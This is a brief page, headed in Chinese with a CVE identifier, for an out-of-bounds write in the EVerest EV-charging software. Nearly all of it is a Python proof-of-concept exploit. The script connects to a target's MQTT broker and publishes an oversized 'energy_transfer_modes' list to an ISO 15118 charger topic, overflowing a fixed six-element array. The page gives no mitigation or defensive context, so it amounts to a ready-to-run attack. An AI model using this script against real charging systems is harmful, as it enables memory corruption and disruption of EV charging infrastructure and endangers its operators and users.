CVE-2026-27816 EVerest越界写入漏洞

import paho.mqtt.client as mqtt import json import time # Target Configuration TARGET_BROKER = "192.168.x.x" # Replace with target IP TARGET_PORT = 1883 # The specific topic might vary based on EVerest configuration, # but it triggers the ISO15118_chargerImpl::handle_update_energy_transfer_modes function. TOPIC = "iso15118/charger/update_energy_transfer_modes" def exploit(): client = mqtt.Client("Exploit_Client") try: client.connect(TARGET_BROKER, TARGET_PORT, 60) print(f"[+] Connected to {TARGET_BROKER}") # Construct malicious payload # Vulnerability: copies a variable-length list into a fixed-size array of length 6. # Sending > 6 items triggers out-of-bounds write. payload = { "energy_transfer_modes": [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] } message = json.dumps(payload) client.publish(TOPIC, message) print(f"[+] Malicious payload sent to topic: {TOPIC}") print("[+] Payload content:", message) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()